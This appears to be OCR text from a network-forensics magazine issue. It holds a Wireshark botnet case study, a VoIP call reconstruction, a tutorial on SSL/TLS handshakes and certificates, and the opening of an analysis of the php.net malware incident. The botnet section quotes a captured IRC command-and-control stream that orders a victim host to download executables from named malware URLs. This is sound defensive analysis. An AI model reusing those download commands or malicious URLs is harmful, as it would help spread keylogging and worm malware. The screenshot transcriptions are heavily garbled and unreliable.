:damn-0262937047 | ghmfeirsfn@h-68-164-92-148. snvacaid. dyfgm];,;gggd,&g; JOIN ;#503
:hunt3d.devilz.net 332 damn-0262937047 #s03 :.download http://ysbweb.com/ist/scripts/
jysb_exe. php?account_id=100048%&user_level=3 :fsb1nsta'l'| IOUDABY 3. exe I
thunt3d.devilz.net 333 damn-0262937047 #<03 AL7uR 1103771894

:hunt3d.devilz.net 353 damn-0262937047 @ #s03 :damn-0262937047

thunt3d. devilz.net 366 damn-0262037047 #s03 :End of /NAMES ldist.

Figure 23. Sample of a detailed examination of a suspicious network conversation displayed using the “Right Click -> Follow
TCP Stream” option

This information reveals that IP Address 69.64.34.124 is functioning as an IRC Command and Control
Server for this Botnet; identified as “hunt3d.devilz.net” and running control software “version Unreal3.2".
It appears to be instructing the Client machine (172.16.1.10) to download a number of suspicious files
from multiple locations including: www.wanees.net/bbnz.exe, webacceptor.findwhatevernow.com:8091/
get.file=jocker.exe, and ysbweb.com/ist/scripts/ysb.exe.

Research reveals that all of these files are malicious in nature and comprise an assortment of key-log-
ging and Worm software packages.

The Network Engineer making this capture, upon detecting these pieces of evidence, immediately removed
the workstation 172.16.1.10 from the network and contacted Law Enforcement officials for further analysis.

SAMPLE CASE STUDY #4 - AVOICE OVER IP (VOIP) CONVERSATION
RECONSTRUCTION

Not all Network Forensic investigations involve tracing malicious pieces of software (Malware) back to
their origins. In the following case study, we analyze and reconstruct a VolP conversation and playback
the resulting file to listen to the audio portion of the call.

PACKET CAPTURE BACKGROUND
This was collected from a suspect test network as part of an evidence collection exercise.

FORENSIC ANALYSIS OF PACKETS

IP address 45.210.3.90 is assigned to Endpoint #1, a Cisco VolP phone using SIP In-band signaling
emulation with the caller ID of “3290@cisco.sip.ilabs.interop.net”. IP address 45.210.9.97 is assigned
to Endpoint #2, also a Cisco VolP phone running SIP In-band signaling emulation with a caller ID of
“sip:4697 @cisco.sip.ilabs.interop.net”. IP Address 45.210.3.36 is assigned to the Call Client Manager /
Gateway device.
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e B Ve = Coptarer Bl Stattie™ Telephiony ™ol k=™ Helg
coams BEX Aes0F2([@E QAR DB % B
Filter: ;.!up Baprusiun... Clear  Appl

No.  IP-Src IP - Dest Time DeltaTime rotocol | Call Signaling Setup

45.210.9.97 45.210.3.90  6.616043 0.032629 RTP 214 5004 19712 PT=ITU-T G.711 PCMU,

: 45.210.3.90  6.634406 0.018363 RTP 214 5004 19712 PT=ITU-T G.711 PCMU,

: 0.013641 RTP 214 19712 5004 PT=ITU-T G.711 PCMU,
0.007814 RTP 214 5004 19712 PT=ITU-T G.711 PCMU,

6.675860 0.019999 214 19712 5004 PT=ITU-T G.711 PCMU,

6.675892 0.000032 RTP 214 5004 19712 PT=ITU-T G.711 PCMU,

0.012093 RTP 214 19712 5004 PT=ITU-T G.711 PCMU,

6.695212 0.007227 RTP 214 5004 19712 PT=ITU-T G.711 PCMU,

45210997  6.707970 0.012758 RTP 214 19712 5004 PT=ITU-T G.711 PCMU,
45.210.3.90  6.714949 ] / RTP 214 5004 10712 PT=ITU-T G.711 PCMU,
45.210.9.97  6.728022 : 3 RTP 1 PT=ITU-T G.711 PCMU,
45.210.3.90  6.734688 ] RTP Zi4  duus 1012 PT=ITU-T G.711 PCMU,

b b | b
b | =

L

Figure 24. Sample Wireshark display showing a VolP packet capture collected from the network in question

» Packets #4 — #11 (Call Set-up) — Contain the Sip In-band signaling setup handshake. Examination of
the decoded packets reveals that the Endpoint ID’s are transmitted in unencrypted ASCII test.

» Packets #12 — #3410 (Audio Data) — Comprise both G.711 codex based audio streams of the suspect
conversation being monitored with an elapsed call duration of approximately 1 minute and 23 seconds.

Reassembly and subsequent playback of one or both sides of this phone call can be achieved by utiliz-
ing Wireshark’s native VoIP analysis functionality located under the “Telephony” menu.

OCAm I BERXR e

Filter:  larp |
No. IP - Sre 1P - Dest 1

452103.00 (P,

45.2103.00 JEETII

45.210.9.97

.lf ‘\14'.\ A A - ana TT?- _-x
StartTime =~ StopTime 4 InitialSpeaker 4 From 1 Te 14 Protocol 4 Packets 4 State .

4774199 6563414 45210390 “Cisco 3290" <5ip:3290@cizco.sip.ilabs.int <5ip:4697 @cisco.sip.ilabs.interop.nety SIP 5 INCALL
T78283 66042727 45.2103.90 i p

¥,

. mn J *

Total: Calls: 4 Start packets: 0 Completed calls: 1 Rejected calls:1

Prepace Filter Flow [ Payer| [ selectan

Figure 25. Showing the steps required to select a specific VoIP call and send it to the Wireshark VOIP playback module. The
VolP call analysis and playback functions are located under the Wireshark “Telephony” menu
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View as time of day

Jitter buffer [ms] 50 : Use RTP timestamp Play Pause l Cloze I

33 3 53 63 s 83 95 1005
m 3

From 45.210.3.90:19716 t0 45.2109.72:2238 Duration:102.02 Drop by Jitter Buffié5(2.5%) Out of Seq: 5(0.1%) Wrong Timestamp: 30(0.9%)

ik . b 11 8

From 45.210.9.72:2238 to 45.210.3.90:19716 Duration:102.07 Drop by Jitter Buff:89(2.6%) Out of Seq: 4(0.1%) Wrong Timestamp: 29(0.9%)

= |

<

View as time of day

Jitter buffer [ms] 50 Use RTP timestamp Decode Pause tof

Figure 26. Showing the steps required to decode and playback the audio portion of a specific VolIP call

CONCLUSIONS

This tutorial has provided a brief look at a powerful new addition to the tools used in both Network and
Law Enforcement operations: Network Forensics Analysis techniques using packet capture files. Build-
ing on capabilities and techniques already used by Security professionals we show that contained within
a packet trace are the key clues required to analyze, evaluate and resolve most network security inci-
dent, as shown by our analysis of these Case Studies drawn from Real-World events. To be continued
in “Enemy inside the gates. Part 2 — Network Miner”.
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USING WIRESHARK TO ANALYZE SSL

CONFIGURATIONS
AND CERTIFICATES

by Larry Greenblatt

With all the talk these days of internet spying and theft, people
are becoming increasingly concerned with protecting their
information. As Laura Chappell, the founder of Wireshark
University, might say, you can have opinions from people on
security, but packets don't lie. In this article | will show you how
to use some simple Wireshark display filters and settings to view
SSL/TLS capabilities in browsers, the negotiated cipher suite (the
asymmetric, symmetric and hashing algorithms in use for the
current session) and the information stored in the certificate.

* How to sniff an SSL handshake . ip . .
and examine the cipher suites sure we can view larger certificates (over 1460 maximum segment size),
supported by a given browser, the we need to tell Wireshark to reassemble TCP streams. To do this, go to
suite chosen by the server and | Edit, Preferences, Protocols, TCP and confirm the setting for “Allow subdis-

how to examine and confirm the | S€ctor to reassemble TCP streams” is selected. Note, this setting will effect

T o get started, launch Wireshark (note: | am using version 1.8.7). To en-

server's certificate. perceived response times and it is very handy to turn this off, when measuring
round trips timers and the like.
* A basic understanding of Wire- = = [raramasen Commuerrotece

shark (how to launch and select ¢
an interface, as well as navigate P
between the packet list pane and
the packet details pane). _

Figure 1. Wireshark Preferences
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Now to check an SSL connection, start sniffing on an active interface:

Description i Packets Packets/s
ZI;E| Microsoft 192168.1.15 1524 103 Details |
= FE Sun feB0::cdT 2 d8fd:d bE3:bT b1 ] 0 Dietails |
] gEi Atheros 11C PCI-E Ethernet Controller none 0 0 Qelails;
{
y

Figure 2. Wireshark Interface List

7

//////////

With Wireshark capturing packets, start a browser and navigate to some SSL protected site. In this ex-
ample, | am using Google. As soon as the browser confirms the SSL setting (the lock icon) stop the capture.

The most basic and, likely the single most useful display filter is “ssl.handshake”. (Tip, Wireshark al-

lows the saving of display filters). Click Save and give it a name.

r N
Bl Wireshark: Save Filter o] e
Save Filter as...
ssl.handshake 55L Handshakse
o [ cone

Figure 3. Capture filter

This will now show on the filter display bar. With this filter we should see Wireshark display only the
SSL connection establishment packets. This first packet we want to examine is the Client Hello. This will
display the browser is capabilities: In the first example, | am using IE 10.0.14. We can see that this ver-

sion of IE supports twelve different cipher suites.

YOS TEGTE,

. Microsoft: WDevice\NPF_[CD2CEGB0-8654-4C02-5429-10 8
{ETEM Yiew Go Capture Anabyze Jtatistics Telephony Tools [rtermals _udp_

Beoee CEXEL ae+»oT 2 OE QaaD @B % 3

. Filtes: sl handshalke !Zlhprumn_ Clear Apply Save 550 Handshake
Time Source Destination Pretecol Length Infio

IESE 6.478587 1.125.228.2]1 TLSvl 181 Client Hello

192.168.1.15

= Secure Sockets Layer
5 TLSv1l Record Layer: Handshake Protocol:
Content Type: Handshake (22)
version: TLS 1.0 (0x0301)
Length: 122
= Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)

Client Hello

Length: 118
version: TLS 1.0 (0x0301)
# Random

session ID Length: O
Cipher Suites Length: 24

g Cipher Suites (12 suites)
Compression Methods Length: 1

@ Coamnreccinn Mathods (1 mathod)

0060 74 00 00 18 | L

0070 iF 00 13 00 IR 01 S
Q080 ff O1 00 01 00 00 00 00 13 00 11 00 00 Qe 77 77 ........ ...... ww
0090 77 2e 67 6f 6f 67 bc 65 2e 63 6f 6d 00 05 00 05 w.google .com....
00a0 01 00 00 00 OO0 00 Oa 00 06 00 04 00 17 00 18 00  ........ c.ocvcn-

|© # | List of cipher suites supported by client (sslhandshake.ciphersuites), 24 bytes | P | Profile: S5L Analysis

Figure 4. SSL Handshake, Client Hello
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If we open this up, we can see the different asymmetric, symmetric and hashing algorithms this brows-
er supports. We can see now that the asymmetric algorithms supported are, RSA, Elliptical Curve (EC),
Diffie-Hellman (DH) and DSS.

[l Microsoft: \Device\NPF.(CD2CEGB0-B654-4C02-94 05 IDDSORTEOTOT ] TWHEanak Lo (SN Fey 2330z MmN Ly — e e

File Edit View Go Capture Analyze Statisticc Telephony Tocle Internal: Help

Suaae ERAX2E A« T2 EBE QaaQaRl @®B®% B

Filter: sslhandshake 3 Expression... Clear Apply Save 55L Handshake »

Time Source Destination Protocol Length Info -

886 6.478587 192.168.1.15 }.125.228.21 TLSvl 181 cClient Hello -
m ¥

Cipher Suiles Lenglh: 24 .

= Cipher Suites (12 suites)

Cipher Suite: TLS_RSA_WITH_AES_128 CBC_SHA (0x002f)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
Cipher suite: I1LS RsA WLIH RC4 128 sHA (0x0005)
Cipher Suile: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_ CBC_SHA (0xc009)
Cipher Suite: ILS ECDHE ECDSA WLTH AES 256 CBC SHA (Oxc00a)
Cipher Suile: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)
Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013)
Cipher Suite: TLS_RSA_WITH_RC4_128_mD5 (0x0004)

Compression Methods Length: 1 -

m *

PR ER00 2f 00 35 00 05 00 0a c0 13 c0 14
c0 09 cO O0a 00 32 00 38 00 13 00 O4NETEVVEES]
ff 01 00 01 00 00 OO OO0 13 00 11 00 00 Qe 77 77
0090 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 00 05 00 05

01 00 00 00 00 00 0a OO 06 00 04 00 17 00 18 00

O "'9 List of cipher suites supported by client (ssl.handshake.ciphersuites), 24 bytes | P... | Profile: 551 Analysis

m

0060
0

m

Figure 5. Client Supported Algorithms (possible cipher suites)

Asymmetric algorithms are used in SSL for two reasons; One sharing or exchange of the keys that will
be used for the symmetric ciphers and to sign the hash of the data. Note that DH can only be used for
key exchange and DSS is only used for signing. Therefore, when either of these are used, there must
be a second choice for another asymmetric algorithm. The most efficient of the asymmetric algorithms is
EC. For instance, to get the same amount of entropy as a 256 bit symmetric cipher, we need over 15,000
bits of either RSA or DH, but we only need 512 bits of EC.

When EC is used for key agreement, it is known as ECDHE (for Diffie-Hellman Exchange) and when
used for signing ECDSA (digital signature algorithm). | have noticed over the past few years, that Google
had been using ECDHE but not ECDSA. | blamed this on the Certificate Authorities, as | suspected they
had no support for EC certificates. This | noticed changed in 2013 and now, | am starting to see a num-
ber of EC certificates. This is good news!

Symmetric algorithms are used to actually encrypt the data over the SSL channel. We can see that my
IE browser supports three different symmetric algorithms, RC4 (stream), AES and 3DES (both block).
Block ciphers have different modes that have been developed to add more randomness. We see here
that this browser only support CBC mode for “Cipher Block Chaining”. There have been a few exploits
against CBC vulnerabilities, notably BEAST.

Lastly, hashing algorithms are used to check the integrity of the data to detect any modifications to the
data, whether accidentally or maliciously. The only two hashing algorithms supported here are MD5 and
SHA (SHA1). Cracks have been found in both of these algorithms, meaning the likely hood of detecting
maliciously modifications, has been decreased. While, | know of no attack yet on SHA, the FLAME virus
exploited the cracks in MD5.

Then next packet in the view pane we want to examine, is the Server Hello. This will tell us what the
server selected, based on what the client was able to support.

® e



[l Microsoft: \Device\NPF_[CO2CEB0-8654-4C02-9429-100) B
Eile Edit Yiew Go Capture Snalyze Statistics 'letq:lwn: Tooks |nternals  Help
Seaee EEX2E Aa+seT2([Ee aaan gomyg &

Filter | ssLhandshake [+] Bpression.  Clear  app, Save  SSLHandshake ”
Mo.  Time Source Destination Pretocel Length Info -
891 6.507023 74.125.228.210 192.168.1.1: TLsSvl 1484 Server Hello
- Secure Sockets Layer |

TL5v1l Record Layer: Handshake Protocol: Server Hello
Content Type: Handshake (22)
version: TLS 1.0 (0x0301)
Length: 93
- Handshake Protocol: Server Hello
Handshake Type: Server Hello (2)
Length: 89 =
version: TLS 1.0 (0x0301)
# Random
Session ID Length: 32 “
session ID: aaeldeeeafddfd034f4cbB4355eacdal3n0ac940el2d7d4e5, ..
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_cBC_sHA (0Oxc013)
Compression Method: null (0)
Extensions Length: 17 -

L] m ]

0080 bl b4 00 QO 11 00 QO OO0 00 £ff 01 QO 01 00 .. MA.... ........ -
0090 00 Ob 03000102 160301 0c 1306000  ........ .oo.vaue

00a0 Of 00 Oc Oc 00 Q4 7a 30 &2 04 76 30 82 03 5e a0 ...... 20 . .v0. A, |
00b0 03 02 01 02 02 08 43 d0 2e 51 2a a5 ab 1b 30 0d ...... C...q®...0.
00cO 06 09 2a 86 48 86 £7 0d 01 01 05 05 00 30 49 31 ..*.H... ..... 011

LT BT T e LR e TS T T Tl o Tl O T T CT T S T Tk o e T T T T T T2 1 e aimm A

(D) ™| Cipher Suite (ssLhandshake.ciphersuite], I bytes P.. Pm{ﬂ:: 250 hnalysm

Figure 6. SSL Handshake, Server Hello (chosen cipher suite)

Here we can see the server chose to use ECDHE to negotiate a 128 bit key, to be used to encrypt the
actual data with AES in CBC mode, and RSA to sign an SHA hash. Note that the HASH of the data com-
ing from the server, needs to be validated. For this to work, the server will encrypt the hash with their pri-
vate key. To validate this, the client will also calculate a hash and decrypt the hash from the server, with
the server’s public key. So the next step we need to examine is the exchange of the server’s public key,
which comes in the form of an X.509 certificate (meaning the public key will be certified to belong to the
server, by a trusted third party, that is the Certificate Authority or CA. To see this, we need to examine
the packet that says Certificate

. Mrcmmiu\Dem‘nNPF [CDKHW—B&MJCOZ-SH X
Eile Edit \ew Go Capture Analyze Statistics Ideplwnz Took [nternals  Help

SN EEXRE A¢+»aT2 [EE Qe Fg0B % B

Filter  ssLhandshake E Expression... Clear Apply Save 551 Handshake £
Mo, Time Seurce Destination Protacal Length Infa -
894 6.507511 74.125.228.210 [92.168.1.1° TLSV1 733 cCertificate -
] M r l

secure sockets LﬂyEF‘ &

= TL5v]l Record Layer: Handshake Protocol: Certificate
Content Type: Handshake (22)
version: TLS 1.0 (0x0301)
Length: 3091
Handshake Protocol: Certificate
Handshake Type: Certificate (11)
Length: 3087
Certificates Length: 3084
B Certificates (3084 bytes) -

m,

0000 16 03 01 0 13 Oh OCI 0

CI'F 00
0020 2E 51 Za 15 ab lb 3U ﬂd ﬂﬁ ﬂg
nnan_ !

Frame (733 l:y!n! Reassembled TCP (2096 bytes)
@ | "-"' List of centificates (sl handshatt-cmlfc.a:uJ 3084 hyits s F‘ml'le' 551 .ﬁnlhfsl:

]
Za Sﬁ dS 86 f* O

Figure 7. SSL Handshake, Certificate
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Google is a very large company, with a number of SSL servers. To assist them, that employ a number
of subordinate Certificate Authorities. For brevity, we will only focus server certificate for www.google.com.

This certificate is to provide proof that the web site we connected to, is indeed www.google.com.
This is similar to using a driver’s license to prove one’s ID. As each driver’s license should have a
unique license number, a certificate can be uniquely identified by its serial number. We can see this
directly under the version line.

As there are a number of valid departments of vehicles authorized to create trusted driver’s licenses,
there are a number of approved certificate authorities or CAs authorized to created certificates for various
domain names. The CA that created this certificate can be determined by expanding the subtree “issuer”.

Certificates (3084 bytes) =
Certificate Length: 1146
Certificate (id-at-commonName=www.google.com,id-at-organizationName=Google Inc,id-at-loca
2 signedCertificate
version: w3 (2) |
serialNumber: 715500315
# signature (shawithRSAEncryption) |
e Sssuer: rdnseauence (0)
rdnSequence: 3 items (id-at-commonName=Google Internet Authority G2,id-at-organizati
# RDNSequence item: 1 item (id-at-countryName=US) 0
# RDOMNSequence item: 1 item (id-at-organizationName=Google Inc) |
# RONSequence item: 1 item (id-at-commonMNames=Google Internet Authority G2)
# wvalidity
# subject: rdnSequence (0)
# subjectPublickeyInfo
i extensions: & items =
i P |

01 01 05 05 00
3“ 11 Uﬁ 03 51 04 Oa 13 ﬂa 4r
-f hF 67 6c 65 20 49 be 53 3} 2% 3? 23 06 03 55

--g1erln éi%ﬂ#

Figure 8. Certificate Details

We can see that Google used its own subordinate CA, Google Internet Authority to issue the certificate
for www.google.com.

Validity will give us the dates the certificate is good for, again similar to a driver’s license. The subject
is www.google.com and the subjectPublicKeylnfo is the actual public key for the server. This is the key
that will be used, in this case, to decrypt the signed hashed from the server.

Lastly are the extension fields. We will focus on two of these, used to check to see if this certificate has
been revoked. For this, there are two technologies that can be used, each requiring a server to provide
revocation information to the client. The first way is to download a list of all the known revoked certificates
for a given CA. For this we need the address of the server containing the CRL or certificate revocation
list. This is under the extension “id-ce-cRLDistrobutionPoints”

extensions: 8§ items o
# Extension (id-ce-extKeylsage)
# Extension (id=ce-subjectAltName)
# Extension (id-pe-authorityInfoAccesssyntax)
# Extension (id-ce-subjectkeyIdentifier)
# Extension (id-ce-basicConstraints)
# Extension (id=ce-authorityKeyldentifier)
EXteﬂSIOH {ld ce- ce-t1f1catePol1c1e5}

Extension Id 2.3.29.31 (1d-ce-cRLDIstributionPoints)

CRLDistPointsSyntax: 1 item

= istributionPoint

distributionPoint: fullname (0)
fullName: 1 item
GeneralName: unIFulmResnulceIdent1f1e: (6)

0340 02 05 01
0350
0360

nIATN

al 21 85 1f b8 74
le hT Ef 6f 6? bc 63 2e

T M T
Frame (7133 bytes)| Resssembled TCP (3096 bytes]

Figure 9. CRL Servers for this Certificate



Downloading this entire list is not very efficient. So a faster way is to check the status of a given cer-
tificate by its unique serial number. This technology is known as OCSP, (Online Certificate Status Proto-
col). For this, we need the name of the OCSP server. This is listed under the extension “id-pe-authority-
InfoAccessSyntax”.

Bl Microsaft: \Device\NPF_[CDOCESB0-8654-4002-0429- LDDSTEETET] (Wireshark 187 (SVN Rev Feounie- 18] a—mucls. _<__|

-Ell-e-_Edn _!E-tw F; in!_u:e _ﬂ;mr:t -it_atmm Tebephory  Tocls  [mtermals  Help
Ty EXRe8 ne+aF 2 e el @B®m% B

Filter: sslhandshake- T! Expression... Clesr Apphy Save 550 Handthake Certificates L]

Mo. Teme Source Drestination Protocol Length Indo -

é94 6.507511 74.125.228.210 192.168.1.1F TLSv] 733 certificate -

l extensions: 8§ items
# Extension (id-ce-extkeyUsage)

| i Extension (id-ce-subjectaltName)

[ = extension (id-pe-authorityInfoAccesssyntax)
Extension Id: 1.3.6.1.5.5.7.1.1 (id-pe-authorityInfoAccessSyntax)
AauthorityInfoaccessSyntax: 2 items

AccessDescription
accessMethod: 1.3.6.1.5.5.7.48.2 (id-pkix.48.2)
accessLocation: 6
iniform ir
AccessDescription
accessMethod: 1.3.6.1.5.5.7.48.1 (id-pkix.48.1)
accessLocation: 6
ini form ir ntifier: h .
i Extension (id-ce-subjectkeyIdentifier)
# Extension (id-ce-basicConstraints)
# Extension (id-ce-authorityKeyldentifier)
# Extension (id-ce-certificatePolicies)

| i Extension (id-ce-cRLDistributionPoints) 2

E '

0270 0 b& Ob 08 /b 06 .

0280 0 3a 30 2b 06 08 2b 06

IELTINGE 74 74 70 3a 2f 2f 70

M= G o - b AT A0

Frame (733 bytes)| Resssembled TCP (3096 bytes)
ID & Baension (509af Extension), 106 bytes Packets: 2208 Displ.. | Prefile 550 Analysis

//clien

01 0% 05 07 O
01 05 05 07 30
6b 69 2e 67 6f

Figure 10. OCSP Servers for this Certificate

Now let’s refresh. We used the filter SSL.Handshake to display the exchanges sent over the network
to setup an SSL connection. First we saw the client hello to announce what cipher suites it is capable of
using. Next we examined the server hello to display the server’s choices for a given session. Finally we
examined the certificate used to validate the server’s identity.

In future discussions, we can check to see what other browsers look like (they are all very different in
their support for stronger algorithms!) as well as confirming the status of the certificate using the OCSP
display filter.

CONCLUSION

Most people think of encryption as a service to provide confidentiality. While this is very true, and espe-
cially so in this world of internet spying and id theft, today’s world and the Public Key Infrastructure (PKI)
is used to provide authentication, integrity and non-repudiation using Asymmetric, Symmetric and Hash-
ing algorithms. Recent years of seen a few cracks develop in a number of algorithms and cryptosystems.

You can’t speak matter of factually without measuring. Using Wireshark, an analyst can capture the hand-
shake between an SSL server and Client, taking measurements to confirm the settings regarding the cipher
suites selected in any session, as well as confirm the information stored in an SSL server certificate.
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TWO REAL NETWORK FORENSICS ANALYSIS

CASE STUDIES OF THE
ATTACKS ON PHP.NET
AND THE BOSTON
BOMBS MALWARE

by Javier Nieto Arévalo

We could say that we live an era where the signature-based
Antivirus has less sense if we want to fight against hackers who
are creating customized malware only for their targets. Also,
there are a lot of Zero-Days attacks which are being used to
infect millions of computers just visiting a website. These Zero-
Days attacks take advantages of unknown vulnerabilities for
example Adobe or Flash player plugins installed in the web
browser to download and install malware which has not been
recognized yet. Also the majority of them make connections with
the Command and Control servers to get the instructions of the
hackers. Sometimes it is easier to detect infected hosts looking at
their behaviour in our network if we analyze the network traffic
than using an Antivirus running on the host.

What you will learn: What you should know:
« Sites in your network where you can get traffic captures. » Get familiarized with the network devices.

+ Useful tools to aid in getting/analyzing traffic captures. + Get familiarized with the Internet Protocols and modern malware.

» How to use Virustotal and Wireshark in a real incident.

* How to detect attacks and more details from a pcap file with an
IDS system.

» How to get information about how malware works.

* How to detect exploits and malware in an incident handle.

« File carving using Wireshark.

* How to create a map report with connections established in the
capture data.




t is widely recognized, the modern malware or APTs are winning the match with the Antivirus manu-
I facturers. For this reason, there are some new technologies like Sandboxes where you can run the

suspicious files in order to study their behaviour. For example, the sandboxes Cuckoo or Anubis run
the malware in a secure environment and get a network traffic capture to help us to achieve this goal “to
fight against the malware”. Also some IDS, like Snort, gets traffic captures in a pcap format to obtain the evidence
about a certain attack.

For all this, it's really important for the Security IT Department to have a high knowledge about how to
get and how to analyze the traffic that is crossing into their networks.

In this post I'm going to talk about how, where and which tools we can use to get and analyze a traf-
fic network capture. Then | will show you two real examples used by hackers who infected thousand of
computers using different techniques.

HOW TO GET TRAFFIC CAPUTERS

TOOLS AVAILABLE

There are a lot of tools to get traffic captures: Wireshark, Tshark, Tcpdump, NetworkMiner, Cain and Abel,
Xplico, Capsa, ngrep... In this article we will focus on tools commonly used to achieve this goal: Wire-
shark and Tshark.

WHY WIRESHARK OR TSHARK

Wireshark (formerly known as Ethereal) and Tshark are really popular network protocol analyzers. In fact they
are both the same tool. The first one has a graphical user interface (GUI) and the second one has a com-
mand line interface (CLI).

The main reasons why | work with these

tools are: @—@ D
Ro el
—

ter

* Both of them are Open Source with GPL

license.

* Available in all platforms (Windows,
Linux, MAC..)).

* Both take traffic captures in live and of- :
fline mode. Firepal

* They can understand the majority of In-
ternet Protocols (TCP, DNS, FTP,
TFTP, HTP...).

* They have advanced filters and searches,
TCP Follow Stream, Flow Graph, Maps
reports, etc... s AN

* There are a lot of tutorials in the Internet. BT \

CAPUTRE DATA ON THE MACHINE YOU o / R

ARE INTERESTED IN # Y

There are several methods to capture traffic , %

from your network. In this article, I'm going to = e i e

talk about which are most commonly used. Q_.——-% E:“s;.;;"% r'\m_‘;-;}“ E:\ﬁh_————}b
If you only need to capture the network traf-

fic to/from a specific host, you can just install

Wireshark on that host (computer) and start [

to sniff. It's really easy to use but the traffic =

exchanged between other hosts of the net- i

work will be unavailable (except broadcast =5 ,_

traffic). This type of capture could be helpful A

when you suspect there is a problem in your

network involving the host you are testing or WIRESHARK

when you just want to analyze the traffic ex-

changed from that host on the network.

Figure 1. Network scheme of a simple capture
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CAPUTRE DATA USING A PORT MIRROR

Some Ethernet switches have a monitor mode. A monitor mode is the capability of the switch to use as
a single port to merge the traffic of all other ports: that is, the port acts like a hub. If this monitor port is
connected to the host when running the sniffer, all the network traffic (crossing that switch) will be cap-
tured. It is sometimes named ‘port mirroring’, ‘port monitoring’, ‘Roving Analysis’ (3Com), or ‘Switched
Port Analyzer’ or ‘SPAN’ (Cisco). Using the switch management, you can select both the monitoring port
and assign a specific port you wish to monitor.

e
WIRESHARK

Figure 2. Port Mirror examples on a switch

Some switch models could allow the mirroring of just one port instead of all ports. In this case it’s really
interesting, the mirroring of the port reserved to the router/firewall (which connects the internal network
to the Internet).

Switch

e
e
—

| ‘\( =
Mirror Port _h_g -

Router

Monitoring PC

/(.
WIRESHARK

Figure 3. Port mirror of the port reserved to the router

® e



Mirroring the port used by the router/firewall, the switch will duplicate the incoming/outgoing traffic of
our network to the Internet and send it to a host where it is running a sniffer or an IDS like Snort or Suri-
cata in order to get security events. If you are interested in installing an IDS, you should read the tutorial
from the original IDS website before installing it.

It's also possible to lose some traffic if we are sniffing a high traffic network.

This type of capture is easy to use if such a switch is available; we just need to read the switch manu-
facturer documentation to get the instructions.

HOW TO WORK WITH WIRESHARK AND TSHARK

The goal of this article is not really to train you on how to use Wireshark or Tshark. Later on we will ana-
lyze two real traffic captures with Wireshark. This is more like a a brief introduction but | think it could be
interesting to show you some examples that will help you to start with these tools.

| commented that when we want to capture traffic to research some problems in our network or we
want to do some tests, we can capture data on the machine we are interested in using Wireshark.
This is really easy to do by installing the sniffer software in this machine. We can see “in live” the traf-
fic capture. In these kinds of captures, it's common to capture all traffic in a certain network card and
thenwork with filters.

Capture
Capture Interface Link-laver header Prom. Mode Snaplen [B] Buffer [ME]
I Conexiones de red inalambricas
) TR Ethernet enabled default 2
[ Conexionde area local Ethernet enabled default 2

I

[ Capture on all interfaces

W Use promiscuous mode on all inkerfaces

Capture Filter:

Figure 4. Default captures traffic in the Wireless interface: “Conexiones de red inaldmbricas” — “Connections with wireless
networks” and “Connecidén de drea local” - “Connection with local network”

Ble Edt Mew Gn Caphure  Anaboe  Statkbes  Telephony  Tonk  Infermals  Help

e AN B2 Ae»a TR BB Qa0 @EMRX B

Fiker: | http.conkenk bype - | Capression.., Clear Save
Na. Time Source Diestination Protocol  Length  Info
117 34_B250220174 137_42. 75 192 _168.1.35 HTTP AO8 HTTP,/ 1.1 200 ok (rext himl)
126 36.2412900192,168.1.35 TT.234.43.82 HTTP 602 POST /P/QTFFQZUWNZATMOZFQSOXMDY SLUEYREQTQZAFQT ICMZAZMENE 1
17 36.2422930173,1M.491.14 194.168.1.35 HTTP A9% HTTR/L.1 J00 Ok (GIFSYa)
130 36.324H960 77.234_43.82 192 .168.1.35 HI TP 251 HTTR/1.1 200 ok (applicationfocTtet-stream)
Frame 130: 251 bytres on wire (2008 bits), 251 bytes caprured (2008 bits) on interface 0

¢+ Ethernet II, Src: Comtrend_4c:19:aS (00:1d:20:4c:19:a5), Dst: Intel_Ga:bd:aa (00:0e:35:6a:bd:aa)
b Internot Protocol version 4, Src: J7.238.43.82 (77.234.43.82), Dst: 192.168.1.35 (192.168.1.3%5)
» transmission Control Protocol, src port: htTp (80), pst port: conferenceralk (1713), =eq: 1, ack: 544, Len: 197
a Hypertext Transfer Protocol
HITRAL.1 200 OKNFNN
content-iype: applicationsoctet-straamyrin
Content-Length: &4’
Set Cookie: uwserid=la73d26ac03ctc4cch30058062a58cdoMax Agqe=504576000; Path="/"; Domain=ui. tt.avast. com; version=1%riyn
Srn
[HTTP response 1/1]
[Time since request: 0.033405000 seconds]
Roguast in frama: 146

media Type

Figure 5. Filter in a live network capture
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When we want to capture traffic using a Port Mirror, we won’t see the data capture “in live” mode.
The sniffer is going to deal with a great amount of data because we will analyze all the traffic of the
network. For this reason, it's common to use Tshark in CLI mode on a Linux Machine instead of Wire-
shark. We are going to capture only the protocols, subnets or hosts we are interested in and save the
capture data in a pcap format. For example we will save the captures automatically in 64Mb files to
work easily with them. Why do we need to break up the capture data file in 64Mb? In the next part of
the article, we will to see how Virustotal could help us with the traffic capture because they can ana-
lyze it. They accept a maximum size of 64Mb.

With the commands below, Tshark saves all traffic on the interface ethO, it switches to a new file every
64Mb and it stops capturing after 20 files:

$ tshark -i eth0 -b filesize:65536 -a files:20 -w mf3.pcap

| am not going to go deeper with the filters because there is a lot of information on the internet about how
to sniffer only an IP, network or protocol with Wireshark (http://www.wireshark.org/docs/dfref/) or Thsark
(http://www.wireshark.org/docs/man-pages/tshark.html).

NETWORK FORENSICS OF THE PHP.NET ATTACK
Some months ago we could read in some blogs like the AlientVault blog: “Google was flagging the php.
net website as potentially harmful”.

It is really interesting because if you are able to hack this site, which according to Alexa (http://www.
alexa.com/siteinfo/php.net) is the 228th most visited site in the world, you will be capable to spread the
malware and infect millions of computers. This is what the hacker did.

Currently we can’t analyze the php.net website because the page which was hosting the malicious
code has been removed (obviously), but the guys from Barracuda have published a PCAP from: http://
barracudalabs.com/downloads/5f810408ddbbd6d349b4be4766f41a37.pcap.

This traffic capture was taken from a computer which visited this website and was infected.

